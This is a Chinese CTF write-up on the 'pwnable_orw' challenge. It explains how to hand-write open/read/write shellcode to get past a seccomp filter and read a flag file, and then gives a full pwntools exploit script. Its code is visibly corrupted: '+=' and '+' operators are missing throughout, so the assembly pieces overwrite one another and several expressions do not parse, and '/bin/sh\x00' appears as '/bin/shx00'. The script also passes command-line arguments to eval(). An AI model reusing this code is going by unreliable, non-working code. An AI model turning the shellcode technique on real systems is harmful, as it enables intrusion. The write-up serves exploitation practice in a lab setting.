Pwn-手写汇编之pwnable_orw

2021-04-19 17:48:03 浏览数 (1)

程序分析

checksec看到程序没有开启nx保护,即我们可以在栈中执行shellcode

第一眼看伪代码以为直接输入shellcode就可以反弹shell了,不曾想竟还有一个orw_seccomp搅屎棍从中阻拦

进到该函数看,重点在prctl函数的使用,根据我百度引经据典一番操作后了解到这两句的主要作用是

禁止程序提升权限,并且禁止除openwriteread函数外的系统调用使用

利用思路

既然无法直接调用system那我们就可以结合已有的条件来曲线救国,如:

使用open打开flag -> 再通过read函数将flag的内容读取到某地址中 -> 最后使用write函数打印出该地址的内容

然鹅,难点就在于我们要手写这段过程的汇编代码来读入程序中,具体系统调用方式可参考如下

函数名

EAX

E**BX**

ECX

EDX

Sys_read

0x03

Unsigned int

Void *buf

Size

Sys_write

0x04

Unsigned int

Void *buf

Size

Sys_open

0x05

Const char *

Int

int

之后开始编写我们第一个open("flag")过程的汇编:

代码语言:javascript复制
open_flag = asm("push 0;")
open_flag  = asm("push " hex_flag ";")
open_flag  = asm("mov ebx,esp;")
open_flag  = asm("xor ecx,ecx;")
open_flag  = asm("xor edx,edx;")
open_flag  = asm("mov eax,0x5;")
open_flag  = asm("int 0x80;")

其中hex_flag是“flag”字符串转换为16进制后的小端模式(也就是反转一下)

第二个 read(3,bss_addr,0x100)的过程:

代码语言:javascript复制
read_flag = asm("mov ebx,0x3;")
read_flag  = asm("mov ecx," str(hex(bss_addr)) ";")
read_flag  = asm("mov edx,0x100;")
read_flag  = asm("mov eax,0x3;")
read_flag  = asm("int 0x80;")

第三个 write(1,bss_addr,0x100)的过程:

代码语言:javascript复制
write_flag = asm("mov ebx,0x1;")
write_flag  = asm("mov ecx," str(hex(bss_addr)) ";")
write_flag  = asm("mov edx,0x100;")
write_flag  = asm("mov eax,0x4;")
write_flag  = asm("int 0x80;")

最后拼接在一起即可完成利用

EXP

代码语言:javascript复制
#!/usr/bin/env python2
# -*- coding: utf-8 -*- #
# @偏有宸机_Exploit-Template
# Exploiting: python exploit.py [IP PORT] [Exploit_Template]
# Edit values:
#      - RemPro()
#           - elf_addr
#           - libc_addr
#           - enable_Onegadgets
#      - exp()

import os
import sys
import subprocess
from pwn import *
from one_gadget import generate_one_gadget 
# context.terminal = ["tmux","splitw","-h"]
context.terminal = ["tmux","new-window"]
# context.log_level = "debug"

### 远程本地连接
def RemPro(ip='',port=''):
    global sh,elf,libc,one_ggs
    elf_addr = "./pwnable_orw"                                   # 本地ELF
    libc_addr = "/lib/x86_64-linux-gnu/libc.so.6"       # Libc文件
    pro_libc = "/home/da1sy/DA1SY-Win/CTF/libc/16.04/64/libc.so.6"
    if len(sys.argv) > 2 :
        sh = remote(sys.argv[1],sys.argv[2])
        try:
            libc = ELF(pro_libc)
            libc_addr = pro_libc
        except:
            log.info("No set Remote_libc...")
            libc = ELF(libc_addr)
    else:
        libc = ELF(libc_addr)
        try:
            sh = remote(ip,port)
            libc = ELF(pro_libc)
            libc_addr = pro_libc
        except:
            sh = process(elf_addr)
    # one_ggs = [0x45226, 0x4527a, 0xf0364,0xf1207]
    one_ggs = one_gadget(libc_addr)
    elf = ELF(elf_addr)
    return 1

### 调试用
def debug(cmd=""):
    if len(sys.argv) <= 2:
        log.progress("Loading Debug....")
        gdb.attach(sh,cmd)
### Shell_code
def shell_code(fw):
    if fw == 32:
        return asm(shellcraft.sh())
    elif fw == 64:
        return asm(shellcraft.amd64.linux.sh())
### One_Gadget
def one_gadget(filename):
    log.progress("Leak One_Gadgets...")
    return map(int, subprocess.check_output(['one_gadget', '--raw','-f', filename]).split(' '))
    #one_gg = one_gadget("/lib/x86_64-linux-gnu/libc.so.6")

def exp():
    bss_addr = elf.bss() 0x500
    success("bss_addr => 0x%x",bss_addr)
    binsh = "/bin/shx00"
    flag = "flag"
    hex_flag = ""
    hex_sh = ""
    for i in flag[::-1]:
            hex_flag  = str(hex(ord(i)))
    for i in binsh[::-1]:
            hex_sh  = str(hex(ord(i)))
    hex_flag = "0x" hex_flag.replace("0x","")
    hex_sh = "0x" hex_sh.replace("0x","")
    log.info("hex_flag => " hex_flag)
    log.info("hex_sh => " hex_sh)
    # debug("b *0x0804858A")
    open_flag = asm("push 0;")
    open_flag  = asm("push " hex_flag ";")
    open_flag  = asm("mov ebx,esp;")
    open_flag  = asm("xor ecx,ecx;")
    open_flag  = asm("xor edx,edx;")
    open_flag  = asm("mov eax,0x5;")
    open_flag  = asm("int 0x80;")
    read_flag = asm("mov ebx,0x3;")
    read_flag  = asm("mov ecx," str(hex(bss_addr)) ";")
    read_flag  = asm("mov edx,0x100;")
    read_flag  = asm("mov eax,0x3;")
    read_flag  = asm("int 0x80;")
    write_flag = asm("mov ebx,0x1;")
    write_flag  = asm("mov ecx," str(hex(bss_addr)) ";")
    write_flag  = asm("mov edx,0x100;")
    write_flag  = asm("mov eax,0x4;")
    write_flag  = asm("int 0x80;")
    shellcode = open_flag read_flag write_flag

    sh.recvuntil("shellcode:")
    sh.sendline(shellcode)

    return sh
    
def exp_2():
    print "this is exp_2"

    
if __name__=="__main__":
    RemPro()
    if len(sys.argv) > 3 :
        eval(sys.argv[3])()
    elif (len(sys.argv)>1 and len(sys.argv)<3):
        eval(sys.argv[1])()
    else:
        exp()
    sh.interactive()

0 人点赞